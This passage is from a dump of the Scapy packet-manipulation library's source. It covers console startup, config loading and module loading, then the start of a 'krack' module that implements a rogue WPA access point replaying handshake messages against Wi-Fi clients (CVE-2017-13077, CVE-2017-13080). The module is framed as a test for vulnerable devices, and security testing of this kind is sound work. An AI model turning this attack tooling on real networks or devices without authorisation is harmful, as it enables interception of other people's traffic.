Optional[pathlib.Path]\n    return _probe_xdg_folder(\n        \"XDG_CACHE_HOME\",\n        os.path.join(os.path.expanduser(\"~\"), \".cache\"),\n        *cf\n    )\n\n\ndef _probe_share_folder(*cf):\n    # type: (str) -> Optional[pathlib.Path]\n    return _probe_xdg_folder(\n        \"XDG_DATA_HOME\",\n        os.path.join(os.path.expanduser(\"~\"), \".local\", \"share\"),\n        *cf\n    )\n\n\ndef _check_perms(file: Union[pathlib.Path, str]) -> None:\n    \"\"\"\n    Checks that the permissions of a file are properly user-specific, if sudo is used.\n    \"\"\"\n    if (\n        not WINDOWS and\n        \"SUDO_UID\" in os.environ and\n        \"SUDO_GID\" in os.environ\n    ):\n        # Was started with sudo. Still, chown to the user.\n        try:\n            os.chown(\n                file,\n                int(os.environ[\"SUDO_UID\"]),\n                int(os.environ[\"SUDO_GID\"]),\n            )\n        except Exception:\n            pass\n\n\ndef _read_config_file(cf, _globals=globals(), _locals=locals(),\n                      interactive=True, default=None):\n    # type: (str, Dict[str, Any], Dict[str, Any], bool, Optional[str]) -> None\n    \"\"\"Read a config file: execute a python file while loading scapy, that\n    may contain some pre-configured values.\n\n    If _globals or _locals are specified, they will be updated with\n    the loaded vars.  This allows an external program to use the\n    function. Otherwise, vars are only available from inside the scapy\n    console.\n\n    Parameters:\n\n    :param _globals: the globals() vars\n    :param _locals: the locals() vars\n    :param interactive: specified whether or not errors should be printed\n    using the scapy console or raised.\n    :param default: if provided, set a default value for the config file\n\n    ex, content of a config.py file:\n        'conf.verb = 42\\n'\n    Manual loading:\n        >>> _read_config_file(\"./config.py\"))\n        >>> conf.verb\n        2\n\n    \"\"\"\n    cf_path = pathlib.Path(cf)\n    if not cf_path.exists():\n        log_loading.debug(\"Config file [%s] does not exist.\", cf)\n        if default is None:\n            return\n        # We have a default ! set it\n        try:\n            if not cf_path.parent.exists():\n                cf_path.parent.mkdir(parents=True, exist_ok=True)\n                _check_perms(cf_path.parent)\n\n            with cf_path.open(\"w\") as fd:\n                fd.write(default)\n\n            _check_perms(cf_path)\n            log_loading.debug(\"Config file [%s] created with default.\", cf)\n        except OSError:\n            log_loading.warning(\"Config file [%s] could not be created.\", cf,\n                                exc_info=True)\n            return\n    log_loading.debug(\"Loading config file [%s]\", cf)\n    try:\n        with open(cf) as cfgf:\n            exec(\n                compile(cfgf.read(), cf, 'exec'),\n                _globals, _locals\n            )\n    except IOError as e:\n        if interactive:\n            raise\n        log_loading.warning(\"Cannot read config file [%s] [%s]\", cf, e)\n    except Exception:\n        if interactive:\n            raise\n        log_loading.exception(\"Error during evaluation of config file [%s]\",\n                              cf)\n\n\ndef _validate_local(k):\n    # type: (str) -> bool\n    \"\"\"Returns whether or not a variable should be imported.\"\"\"\n    return k[0] != \"_\" and k not in [\"range\", \"map\"]\n\n\n# This is ~/.config/scapy\nSCAPY_CONFIG_FOLDER = _probe_config_folder(\"scapy\")\nSCAPY_CACHE_FOLDER = _probe_cache_folder(\"scapy\")\n\nif SCAPY_CONFIG_FOLDER:\n    DEFAULT_PRESTART_FILE: Optional[str] = str(SCAPY_CONFIG_FOLDER / \"prestart.py\")\n    DEFAULT_STARTUP_FILE: Optional[str] = str(SCAPY_CONFIG_FOLDER / \"startup.py\")\nelse:\n    DEFAULT_PRESTART_FILE = None\n    DEFAULT_STARTUP_FILE = None\n\n# https://github.com/scop/bash-completion/blob/main/README.md#faq\nif \"BASH_COMPLETION_USER_DIR\" in os.environ:\n    BASH_COMPLETION_USER_DIR: Optional[pathlib.Path] = pathlib.Path(\n        os.environ[\"BASH_COMPLETION_USER_DIR\"]\n    )\nelse:\n    BASH_COMPLETION_USER_DIR = _probe_share_folder(\"bash-completion\")\n\nif BASH_COMPLETION_USER_DIR:\n    BASH_COMPLETION_FOLDER: Optional[pathlib.Path] = (\n        BASH_COMPLETION_USER_DIR / \"completions\"\n    )\nelse:\n    BASH_COMPLETION_FOLDER = None\n\n\n# Default scapy prestart.py config file\n\nDEFAULT_PRESTART = \"\"\"\n# Scapy CLI 'pre-start' config file\n# see https://scapy.readthedocs.io/en/latest/api/scapy.config.html#scapy.config.Conf\n# for all available options\n\n# default interpreter\nconf.interactive_shell = \"auto\"\n\n# color theme (DefaultTheme, BrightTheme, ColorOnBlackTheme, BlackAndWhite, ...)\nconf.color_theme = DefaultTheme()\n\n# disable INFO: tags related to dependencies missing\n# log_loading.setLevel(logging.WARNING)\n\n# extensions to load by default\nconf.load_extensions = [\n    # \"scapy-red\",\n    # \"scapy-rpc\",\n]\n\n# force-use libpcap\n# conf.use_pcap = True\n\"\"\".strip()\n\n\ndef _usage():\n    # type: () -> None\n    print(\n        \"Usage: scapy.py [-c new_startup_file] \"\n        \"[-p new_prestart_file] [-C] [-P] [-H]\\n\"\n        \"Args:\\n\"\n        \"\\t-H: header-less start\\n\"\n        \"\\t-C: do not read startup file\\n\"\n        \"\\t-P: do not read pre-startup file\\n\"\n    )\n    sys.exit(0)\n\n\ndef _add_bash_autocompletion(fname: str, script: pathlib.Path) -> None:\n    \"\"\"\n    Util function used most notably in setup.py to add a bash autocompletion script.\n    \"\"\"\n    try:\n        if BASH_COMPLETION_FOLDER is None:\n            raise OSError()\n\n        # If already defined, exit.\n        dest = BASH_COMPLETION_FOLDER / fname\n        if dest.exists():\n            return\n\n        # Check that bash autocompletion folder exists\n        if not BASH_COMPLETION_FOLDER.exists():\n            BASH_COMPLETION_FOLDER.mkdir(parents=True, exist_ok=True)\n            _check_perms(BASH_COMPLETION_FOLDER)\n\n        # Copy file\n        shutil.copy(script, BASH_COMPLETION_FOLDER)\n    except OSError:\n        log_loading.warning(\"Bash autocompletion script could not be copied.\",\n                            exc_info=True)\n\n\n######################\n#  Extension system  #\n######################\n\n\ndef _load(module, globals_dict=None, symb_list=None):\n    # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None\n    \"\"\"Loads a Python module to make variables, objects and functions\navailable globally.\n\n    The idea is to load the module using importlib, then copy the\nsymbols to the global symbol table.\n\n    \"\"\"\n    if globals_dict is None:\n        globals_dict = builtins.__dict__\n    try:\n        mod = importlib.import_module(module)\n        if '__all__' in mod.__dict__:\n            # import listed symbols\n            for name in mod.__dict__['__all__']:\n                if symb_list is not None:\n                    symb_list.append(name)\n                globals_dict[name] = mod.__dict__[name]\n        else:\n            # only import non-private symbols\n            for name, sym in mod.__dict__.items():\n                if _validate_local(name):\n                    if symb_list is not None:\n                        symb_list.append(name)\n                    globals_dict[name] = sym\n    except Exception:\n        log_interactive.error(\"Loading module %s\", module, exc_info=True)\n\n\ndef load_module(name, globals_dict=None, symb_list=None):\n    # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None\n    \"\"\"Loads a Scapy module to make variables, objects and functions\n    available globally.\n\n    \"\"\"\n    _load(\"scapy.modules.\" + name,\n          globals_dict=globals_dict, symb_list=symb_list)\n\n\ndef load_layer(name, globals_dict=None, symb_list=None):\n    # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None\n    \"\"\"Loads a Scapy layer module to make variables, objects and functions\n    available globally.\n\n    \"\"\"\n    _load(\"scapy.layers.\" + LAYER_ALIASES.get(name, name),\n          globals_dict=globals_dict, symb_list=symb_list)\n\n\ndef load_contrib(name, globals_dict=None, symb_list=None):\n    # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None\n    \"\"\"Loads a Scapy contrib module to make variables, objects and\n    functions available globally.\n\n    If no contrib module can be found with the given name, try to find\n    a layer module, since a contrib module may become a layer module.\n\n    \"\"\"\n    try:\n        importlib.import_module(\"scapy.contrib.\" + name)\n        _load(\"scapy.contrib.\" + name,\n              globals_dict=globals_dict, symb_list=symb_list)\n    except ImportError as e:\n        # if layer not found in contrib, try in layers\n        try:\n            load_layer(name,\n                       globals_dict=globals_dict, symb_list=symb_list)\n        except ImportError:\n            raise e  # Let's raise the original error to avoid confusion\n\n\ndef list_contrib(name=None,  # type: Optional[str]\n                 ret=False,  # type: bool\n                 _debug=False  # type: bool\n                 ):\n    # type: (...) -> Optional[List[Dict[str, str]]]\n    \"\"\"Show the list of all existing contribs.\n\n    :param name: filter to search the contribs\n    :param ret: whether the function should return a dict instead of\n        printing it\n    :returns: None or a dictionary containing the results if ret=True\n    \"\"\"\n    # _debug: checks that all contrib modules have correctly defined:\n    # # scapy.contrib.description = [...]\n    # # scapy.contrib.status = [...]\n    # # scapy.contrib.name = [...] (optional)\n    # or set the flag:\n    # # scapy.contrib.description = skip\n    # to skip the file\n    if name is None:\n        name = \"*.py\"\n    elif \"*\" not in name and \"?\" not in name and not name.endswith(\".py\"):\n        name += \".py\"\n    results = []  # type: List[Dict[str, str]]\n    dir_path = os.path.join(os.path.dirname(__file__), \"contrib\")\n    if sys.version_info >= (3, 5):\n        name = os.path.join(dir_path, \"**\", name)\n        iterator = glob.iglob(name, recursive=True)\n    else:\n        name = os.path.join(dir_path, name)\n        iterator = glob.iglob(name)\n    for f in iterator:\n        mod = f.replace(os.path.sep, \".\").partition(\"contrib.\")[2]\n        if mod.startswith(\"__\"):\n            continue\n        if mod.endswith(\".py\"):\n            mod = mod[:-3]\n        desc = {\"description\": \"\", \"status\": \"\", \"name\": mod}\n        with io.open(f, errors=\"replace\") as fd:\n            for line in fd:\n                if line[0] != \"#\":\n                    continue\n                p = line.find(\"scapy.contrib.\")\n                if p >= 0:\n                    p += 14\n                    q = line.find(\"=\", p)\n                    key = line[p:q].strip()\n                    value = line[q + 1:].strip()\n                    desc[key] = value\n                if desc[\"status\"] == \"skip\":\n                    break\n                if desc[\"description\"] and desc[\"status\"]:\n                    results.append(desc)\n                    break\n        if _debug:\n            if desc[\"status\"] == \"skip\":\n                pass\n            elif not desc[\"description\"] or not desc[\"status\"]:\n                raise Scapy_Exception(\"Module %s is missing its \"\n                                      \"contrib infos !\" % mod)\n    results.sort(key=lambda x: x[\"name\"])\n    if ret:\n        return results\n    else:\n        for desc in results:\n            print(\"%(name)-20s: %(description)-40s status=%(status)s\" % desc)\n        return None\n\n\n##############################\n#  Session saving/restoring  #\n##############################\n\ndef update_ipython_session(session):\n    # type: (Dict[str, Any]) -> None\n    \"\"\"Updates IPython session with a custom one\"\"\"\n    if \"_oh\" not in session:\n        session[\"_oh\"] = session[\"Out\"] = {}\n        session[\"In\"] = {}\n    try:\n        from IPython import get_ipython\n        get_ipython().user_ns.update(session)\n    except Exception:\n        pass\n\n\ndef _scapy_prestart_builtins():\n    # type: () -> Dict[str, Any]\n    \"\"\"Load Scapy prestart and return all builtins\"\"\"\n    return {\n        k: v\n        for k, v in importlib.import_module(\".config\", \"scapy\").__dict__.copy().items()\n        if _validate_local(k)\n    }\n\n\ndef _scapy_builtins():\n    # type: () -> Dict[str, Any]\n    \"\"\"Load Scapy and return all builtins\"\"\"\n    return {\n        k: v\n        for k, v in importlib.import_module(\".all\", \"scapy\").__dict__.copy().items()\n        if _validate_local(k)\n    }\n\n\ndef _scapy_exts():\n    # type: () -> Dict[str, Any]\n    \"\"\"Load Scapy exts and return their builtins\"\"\"\n    from scapy.config import conf\n    res = {}\n    for modname, spec in conf.exts.all_specs.items():\n        if spec.default:\n            mod = sys.modules[modname]\n            res.update({\n                k: v\n                for k, v in mod.__dict__.copy().items()\n                if _validate_local(k)\n            })\n    return res\n\n\n@overload\ndef init_session(mydict,  # type: Optional[Union[Dict[str, Any], None]]\n                 ret,  # type: Literal[True]\n                 ):\n    # type: (...) -> Dict[str, Any]\n    pass\n\n\n@overload\ndef init_session(mydict=None,  # type: Optional[Union[Dict[str, Any], None]]\n                 ret=False,  # type: Literal[False]\n                 ):\n    # type: (...) -> None\n    pass\n\n\ndef init_session(mydict=None,  # type: Optional[Union[Dict[str, Any], None]]\n                 ret=False,  # type: bool\n                 ):\n    # type: (...) -> Union[Dict[str, Any], None]\n    from scapy.config import conf\n\n    # Load Scapy\n    scapy_builtins = _scapy_builtins()\n\n    # Load exts\n    scapy_builtins.update(_scapy_exts())\n\n    SESSION = {\"conf\": conf}  # type: Dict[str, Any]\n\n    SESSION.update(scapy_builtins)\n    SESSION[\"_scpybuiltins\"] = scapy_builtins.keys()\n    builtins.__dict__[\"scapy_session\"] = SESSION\n\n    if mydict is not None:\n        builtins.__dict__[\"scapy_session\"].update(mydict)\n        update_ipython_session(mydict)\n    if ret:\n        return SESSION\n    return None\n\n\n################\n#     Main     #\n################\n\n\ndef _prepare_quote(quote, author, max_len=78):\n    # type: (str, str, int) -> List[str]\n    \"\"\"This function processes a quote and returns a string that is ready\nto be used in the fancy banner.\n\n    \"\"\"\n    _quote = quote.split(' ')\n    max_len -= 6\n    lines = []\n    cur_line = []  # type: List[str]\n\n    def _len(line):\n        # type: (List[str]) -> int\n        return sum(len(elt) for elt in line) + len(line) - 1\n    while _quote:\n        if not cur_line or (_len(cur_line) + len(_quote[0]) - 1 <= max_len):\n            cur_line.append(_quote.pop(0))\n            continue\n        lines.append('   | %s' % ' '.join(cur_line))\n        cur_line = []\n    if cur_line:\n        lines.append('   | %s' % ' '.join(cur_line))\n        cur_line = []\n    lines.append('   | %s-- %s' % (\" \" * (max_len - len(author) - 5), author))\n    return lines\n\n\ndef get_fancy_banner(mini: Optional[bool] = None) -> str:\n    \"\"\"\n    Generates the fancy Scapy banner\n\n    :param mini: if set, force a mini banner or not. Otherwise detect\n    \"\"\"\n    from scapy.config import conf\n    from scapy.utils import get_terminal_width\n    if mini is None:\n        mini_banner = (get_terminal_width() or 84) <= 75\n    else:\n        mini_banner = mini\n\n    the_logo = [\n        \"                                      \",\n        \"                     aSPY//YASa       \",\n        \"             apyyyyCY//////////YCa    \",\n        \"            sY//////YSpcs  scpCY//Pp  \",\n        \" ayp ayyyyyyySCP//Pp           syY//C \",\n        \" AYAsAYYYYYYYY///Ps              cY//S\",\n        \"         pCCCCY//p          cSSps y//Y\",\n        \"         SPPPP///a          pP///AC//Y\",\n        \"              A//A            cyP////C\",\n        \"              p///Ac            sC///a\",\n        \"              P////YCpc           A//A\",\n        \"       scccccp///pSP///p          p//Y\",\n        \"      sY/////////y  caa           S//P\",\n        \"       cayCyayP//Ya              pY/Ya\",\n        \"        sY/PsY////YCc          aC//Yp \",\n        \"         sc  sccaCY//PCypaapyCP//YSs  \",\n        \"                  spCPY//////YPSps    \",\n        \"                       ccaacs         \",\n        \"                                      \",\n    ]\n\n    # Used on mini screens\n    the_logo_mini = [\n        \"      .SYPACCCSASYY  \",\n        \"P /SCS/CCS        ACS\",\n        \"       /A          AC\",\n        \"     A/PS       /SPPS\",\n        \"        YP        (SC\",\n        \"       SPS/A.      SC\",\n        \"   Y/PACC          PP\",\n        \"    PY*AYC        CAA\",\n        \"         YYCY//SCYP  \",\n    ]\n\n    the_banner = [\n        \"\",\n        \"\",\n        \"   |\",\n        \"   | Welcome to Scapy\",\n        \"   | Version %s\" % conf.version,\n        \"   |\",\n        \"   | https://github.com/secdev/scapy\",\n        \"   |\",\n        \"   | Have fun!\",\n        \"   |\",\n    ]\n\n    if mini_banner:\n        the_logo = the_logo_mini\n        the_banner = [x[2:] for x in the_banner[3:-1]]\n        the_banner = [\"\"] + the_banner + [\"\"]\n    else:\n        quote, author = choice(QUOTES)\n        the_banner.extend(_prepare_quote(quote, author, max_len=39))\n        the_banner.append(\"   |\")\n    return \"\\n\".join(\n        logo + banner for logo, banner in zip_longest(\n            (conf.color_theme.logo(line) for line in the_logo),\n            (conf.color_theme.success(line) for line in the_banner),\n            fillvalue=\"\"\n        )\n    )\n\n\ndef interact(mydict=None,\n             argv=None,\n             mybanner=None,\n             mybanneronly=False,\n             loglevel=logging.INFO):\n    # type: (Optional[Any], Optional[Any], Optional[Any], bool, int) -> None\n    \"\"\"\n    Starts Scapy's console.\n    \"\"\"\n    # We're in interactive mode, let's throw the DeprecationWarnings\n    warnings.simplefilter(\"always\")\n\n    # Set interactive mode, load the color scheme\n    from scapy.config import conf\n    conf.interactive = True\n    conf.color_theme = DefaultTheme()\n    if loglevel is not None:\n        conf.logLevel = loglevel\n\n    STARTUP_FILE = DEFAULT_STARTUP_FILE\n    PRESTART_FILE = DEFAULT_PRESTART_FILE\n\n    if argv is None:\n        argv = sys.argv\n\n    try:\n        opts = getopt.getopt(argv[1:], \"hs:Cc:Pp:d:H\")\n        for opt, param in opts[0]:\n            if opt == \"-h\":\n                _usage()\n            elif opt == \"-H\":\n                conf.fancy_banner = False\n                conf.verb = 1\n                conf.logLevel = logging.WARNING\n            elif opt == \"-c\":\n                STARTUP_FILE = param\n            elif opt == \"-C\":\n                STARTUP_FILE = None\n            elif opt == \"-p\":\n                PRESTART_FILE = param\n            elif opt == \"-P\":\n                PRESTART_FILE = None\n            elif opt == \"-d\":\n                conf.logLevel = max(1, conf.logLevel - 10)\n\n        if len(opts[1]) > 0:\n            raise getopt.GetoptError(\n                \"Too many parameters : [%s]\" % \" \".join(opts[1])\n            )\n\n    except getopt.GetoptError as msg:\n        log_loading.error(msg)\n        sys.exit(1)\n\n    # Reset sys.argv, otherwise IPython thinks it is for him\n    sys.argv = sys.argv[:1]\n\n    if PRESTART_FILE:\n        _read_config_file(\n            PRESTART_FILE,\n            interactive=True,\n            _locals=_scapy_prestart_builtins(),\n            default=DEFAULT_PRESTART,\n        )\n\n    SESSION = init_session(mydict=mydict, ret=True)\n\n    if STARTUP_FILE:\n        _read_config_file(\n            STARTUP_FILE,\n            interactive=True,\n            _locals=SESSION\n        )\n\n    # Load extensions (Python 3.8 Only)\n    if sys.version_info >= (3, 8):\n        conf.exts.loadall()\n\n    if conf.fancy_banner:\n        banner_text = get_fancy_banner()\n    else:\n        banner_text = \"Welcome to Scapy (%s)\" % conf.version\n\n    # Make sure the history file has proper permissions\n    try:\n        if not pathlib.Path(conf.histfile).exists():\n            pathlib.Path(conf.histfile).touch()\n            _check_perms(conf.histfile)\n    except OSError:\n        pass\n\n    # Configure interactive terminal\n\n    if conf.interactive_shell not in [\n            \"ipython\",\n            \"python\",\n            \"ptpython\",\n            \"ptipython\",\n            \"bpython\",\n            \"auto\"]:\n        log_loading.warning(\"Unknown conf.interactive_shell ! Using 'auto'\")\n        conf.interactive_shell = \"auto\"\n\n    # Auto detect available shells.\n    # Order:\n    # 1. IPython\n    # 2. bpython\n    # 3. ptpython\n\n    _IMPORTS = {\n        \"ipython\": [\"IPython\"],\n        \"bpython\": [\"bpython\"],\n        \"ptpython\": [\"ptpython\"],\n        \"ptipython\": [\"IPython\", \"ptpython\"],\n    }\n\n    if conf.interactive_shell == \"auto\":\n        # Auto detect\n        for imp in [\"IPython\", \"bpython\", \"ptpython\"]:\n            try:\n                importlib.import_module(imp)\n                conf.interactive_shell = imp.lower()\n                break\n            except ImportError:\n                continue\n        else:\n            log_loading.warning(\n                \"No alternative Python interpreters found ! \"\n                \"Using standard Python shell instead.\"\n            )\n            conf.interactive_shell = \"python\"\n\n    if conf.interactive_shell in _IMPORTS:\n        # Check import\n        for imp in _IMPORTS[conf.interactive_shell]:\n            try:\n                importlib.import_module(imp)\n            except ImportError:\n                log_loading.warning(\"%s requested but not found !\" % imp)\n                conf.interactive_shell = \"python\"\n\n    # Default shell\n    if conf.interactive_shell == \"python\":\n        disabled = [\"History\"]\n        if WINDOWS:\n            disabled.append(\"Colors\")\n            conf.color_theme = BlackAndWhite()\n        else:\n            try:\n                # Bad completer.. but better than nothing\n                import rlcompleter\n                import readline\n                readline.set_completer(\n                    rlcompleter.Completer(namespace=SESSION).complete\n                )\n                readline.parse_and_bind('tab: complete')\n            except ImportError:\n                disabled.insert(0, \"AutoCompletion\")\n        # Display warning when using the default REPL\n        log_loading.info(\n            \"Using the default Python shell: %s %s disabled.\" % (\n                \",\".join(disabled),\n                \"is\" if len(disabled) == 1 else \"are\"\n            )\n        )\n\n    # ptpython configure function\n    def ptpython_configure(repl):\n        # type: (Any) -> None\n        # Hide status bar\n        repl.show_status_bar = False\n        # Complete while typing (versus only when pressing tab)\n        repl.complete_while_typing = False\n        # Enable auto-suggestions\n        repl.enable_auto_suggest = True\n        # Disable exit confirmation\n        repl.confirm_exit = False\n        # Show signature\n        repl.show_signature = True\n        # Apply Scapy color theme: TODO\n        # repl.install_ui_colorscheme(\"scapy\",\n        #                             Style.from_dict(_custom_ui_colorscheme))\n        # repl.use_ui_colorscheme(\"scapy\")\n\n    # Extend banner text\n    if conf.interactive_shell in [\"ipython\", \"ptipython\"]:\n        import IPython\n        if conf.interactive_shell == \"ptipython\":\n            banner = banner_text + \" using IPython %s\" % IPython.__version__\n            try:\n                from importlib.metadata import version\n                ptpython_version = \" \" + version('ptpython')\n            except ImportError:\n                ptpython_version = \"\"\n            banner += \" and ptpython%s\" % ptpython_version\n        else:\n            banner = banner_text + \" using IPython %s\" % IPython.__version__\n    elif conf.interactive_shell == \"ptpython\":\n        try:\n            from importlib.metadata import version\n            ptpython_version = \" \" + version('ptpython')\n        except ImportError:\n            ptpython_version = \"\"\n        banner = banner_text + \" using ptpython%s\" % ptpython_version\n    elif conf.interactive_shell == \"bpython\":\n        import bpython\n        banner = banner_text + \" using bpython %s\" % bpython.__version__\n\n    if mybanner is not None:\n        if mybanneronly:\n            banner = \"\"\n        banner += \"\\n\"\n        banner += mybanner\n\n    # Start IPython or ptipython\n    if conf.interactive_shell in [\"ipython\", \"ptipython\"]:\n        banner += \"\\n\"\n        if conf.interactive_shell == \"ptipython\":\n            from ptpython.ipython import embed\n        else:\n            from IPython import embed\n        try:\n            from traitlets.config.loader import Config\n        except ImportError:\n            log_loading.warning(\n                \"traitlets not available. Some Scapy shell features won't be \"\n                \"available.\"\n            )\n            try:\n                embed(\n                    display_banner=False,\n                    user_ns=SESSION,\n                    exec_lines=[\"print(\\\"\\\"\\\"\" + banner + \"\\\"\\\"\\\")\"]\n                )\n            except Exception:\n                code.interact(banner=banner_text, local=SESSION)\n        else:\n            cfg = Config()\n            try:\n                from IPython import get_ipython\n                if not get_ipython():\n                    raise ImportError\n            except ImportError:\n                # Set \"classic\" prompt style when launched from\n                # run_scapy(.bat) files Register and apply scapy\n                # color+prompt style\n                apply_ipython_style(shell=cfg.InteractiveShellEmbed)\n                cfg.InteractiveShellEmbed.confirm_exit = False\n                cfg.InteractiveShellEmbed.separate_in = u''\n            if int(IPython.__version__[0]) >= 6:\n                cfg.InteractiveShellEmbed.term_title = True\n                cfg.InteractiveShellEmbed.term_title_format = (\"Scapy %s\" %\n                                                               conf.version)\n                # As of IPython 6-7, the jedi completion module is a dumpster\n                # of fire that should be scrapped never to be seen again.\n                # This is why the following defaults to False. Feel free to hurt\n                # yourself (#GH4056) :P\n                cfg.Completer.use_jedi = conf.ipython_use_jedi\n            else:\n                cfg.InteractiveShellEmbed.term_title = False\n            cfg.HistoryAccessor.hist_file = conf.histfile\n            cfg.InteractiveShell.banner1 = banner\n            if conf.verb < 2:\n                cfg.InteractiveShellEmbed.enable_tip = False\n            # configuration can thus be specified here.\n            _kwargs = {}\n            if conf.interactive_shell == \"ptipython\":\n                _kwargs[\"configure\"] = ptpython_configure\n            try:\n                embed(config=cfg, user_ns=SESSION, **_kwargs)\n            except (AttributeError, TypeError):\n                code.interact(banner=banner_text, local=SESSION)\n    # Start ptpython\n    elif conf.interactive_shell == \"ptpython\":\n        # ptpython has special, non-default handling of __repr__ which breaks Scapy.\n        # For instance: >>> IP()\n        log_loading.warning(\"ptpython support is currently partially broken\")\n        from ptpython.repl import embed\n        # ptpython has no banner option\n        banner += \"\\n\"\n        print(banner)\n        embed(\n            locals=SESSION,\n            history_filename=conf.histfile,\n            title=\"Scapy %s\" % conf.version,\n            configure=ptpython_configure\n        )\n    # Start bpython\n    elif conf.interactive_shell == \"bpython\":\n        from bpython.curtsies import main as embed\n        embed(\n            args=[\"-q\", \"-i\"],\n            locals_=SESSION,\n            banner=banner,\n            welcome_message=\"\"\n        )\n    # Start Python\n    elif conf.interactive_shell == \"python\":\n        code.interact(banner=banner_text, local=SESSION)\n    else:\n        raise ValueError(\"Invalid conf.interactive_shell\")\n\n\nif __name__ == \"__main__\":\n    interact()\n"
  },
  {
    "path": "scapy/modules/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPackage of extension modules that have to be loaded explicitly.\n\"\"\"\n\n# Make sure config is loaded\nimport scapy.config  # noqa: F401\n"
  },
  {
    "path": "scapy/modules/krack/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"Module implementing Krack Attack on client, as a custom WPA Access Point\n\nRequires the python cryptography package v1.7+. See https://cryptography.io/\n\nMore details on the attack can be found on https://www.krackattacks.com/\n\nExample of use (from the scapy shell):\n>>> load_module(\"krack\")\n>>> KrackAP(\n    iface=\"mon0\",               # A monitor interface\n    ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use\n    ssid=\"TEST_KRACK\",          # SSID\n    passphrase=\"testtest\",      # Associated passphrase\n).run()\n\nThen, on the target device, connect to \"TEST_KRACK\" using \"testtest\" as the\npassphrase.\nThe output logs will indicate if one of the vulnerability have been triggered.\n\nOutputs for vulnerable devices:\n- IV reuse!! Client seems to be vulnerable to handshake 3/4 replay\n  (CVE-2017-13077)\n- Broadcast packet accepted twice!! (CVE-2017-13080)\n- Client has installed an all zero encryption key (TK)!!\n\nFor patched devices:\n- Client is likely not vulnerable to CVE-2017-13080\n\"\"\"\n\nfrom scapy.config import conf\n\nif conf.crypto_valid:\n    from scapy.modules.krack.automaton import KrackAP  # noqa: F401\nelse:\n    raise ImportError(\"Cannot import Krack module due to missing dependency. \"\n                      \"Please install python{3}-cryptography v1.7+.\")\n"
  },
  {
    "path": "scapy/modules/krack/automaton.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\nimport hmac\nimport hashlib\nfrom itertools import count\nimport struct\nimport time\n\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC\nfrom cryptography.hazmat.backends import default_backend\n\nfrom scapy.automaton import ATMT, Automaton\nfrom scapy.base_classes import Net\nfrom scapy.config import conf\nfrom scapy.compat import raw, chb\nfrom scapy.consts import LINUX\nfrom scapy.error import log_runtime\nfrom scapy.layers.dot11 import (\n    AKMSuite,\n    Dot11,\n    Dot11AssoReq,\n    Dot11AssoResp,\n    Dot11Auth,\n    Dot11Beacon,\n    Dot11Elt,\n    Dot11EltDSSSet,\n    Dot11EltRSN,\n    Dot11EltRates,\n    Dot11ProbeReq,\n    Dot11ProbeResp,\n    RSNCipherSuite,\n    RadioTap,\n)\nfrom scapy.layers.eap import EAPOL\nfrom scapy.layers.l2 import ARP, LLC, SNAP, Ether\nfrom scapy.layers.dhcp import DHCP_am\nfrom scapy.packet import Raw\nfrom scapy.utils import hexdump, mac2str\nfrom scapy.volatile import RandBin\n\n\nfrom scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \\\n    build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \\\n    customPRF512, ARC4_encrypt\n\n\nclass DHCPOverWPA(DHCP_am):\n    \"\"\"Wrapper over DHCP_am to send and recv inside a WPA channel\"\"\"\n\n    def __init__(self, send_func, *args, **kwargs):\n        super(DHCPOverWPA, self).__init__(*args, **kwargs)\n        self.send_function = send_func\n\n    def sniff(self, *args, **kwargs):\n        # Do not sniff, use a direct call to 'replay(pkt)' instead\n        return\n\n\nclass KrackAP(Automaton):\n    \"\"\"Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:\n    \"Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2\"\n\n    Example of use:\n    KrackAP(\n        iface=\"mon0\",               # A monitor interface\n        ap_mac='11:22:33:44:55:66', # MAC to use\n        ssid=\"TEST_KRACK\",          # SSID\n        passphrase=\"testtest\",      # Associated passphrase\n    ).run()\n\n    Then, on the target device, connect to \"TEST_KRACK\" using \"testtest\" as the\n    passphrase.\n    The output logs will indicate if one of the CVE have been triggered.\n    \"\"\"\n\n    # Number of \"GTK rekeying -> ARP replay\" attempts. The vulnerability may not  # noqa: E501\n    # be detected the first time. Several attempt implies the client has been\n    # likely patched\n    ARP_MAX_RETRY = 50\n\n    def __init__(self, *args, **kargs):\n        kargs.setdefault(\"ll\", conf.L2socket)\n        if not LINUX:\n            kargs.setdefault(\"monitor\", True)\n        super(KrackAP, self).__init__(*args, **kargs)\n\n    def parse_args(self, ap_mac, ssid, passphrase,\n                   channel=None,\n                   # KRACK attack options\n                   double_3handshake=True,\n                   encrypt_3handshake=True,\n                   wait_3handshake=0,\n                   double_gtk_refresh=True,\n                   arp_target_ip=None,\n                   arp_source_ip=None,\n                   wait_gtk=10,\n                   **kwargs):\n        \"\"\"\n        Mandatory arguments:\n\n        :param iface: interface to use (must be in monitor mode)\n        :param ap_mac: AP's MAC\n        :param ssid: AP's SSID\n        :param passphrase: AP's Passphrase (min 8 char.)\n\n        Optional arguments:\n\n        :param channel: used by the interface. Default 6\n\n        Krack attacks options:\n\n         - Msg 3/4 handshake replay:\n\n        :param double_3handshake: double the 3/4 handshake message\n        :param encrypt_3handshake: encrypt the second 3/4 handshake message\n        :param wait_3handshake: time to wait (in sec.) before sending the\n            second 3/4\n\n        - double GTK rekeying:\n\n        :param double_gtk_refresh: double the 1/2 GTK rekeying message\n        :param wait_gtk: time to wait (in sec.) before sending the GTK rekeying\n        :param arp_target_ip: Client IP to use in ARP req. (to detect attack\n            success). If None, use a DHCP server\n        :param arp_source_ip: Server IP to use in ARP req. (to detect attack\n            success). If None, use the DHCP server gateway address\n        \"\"\"\n        super(KrackAP, 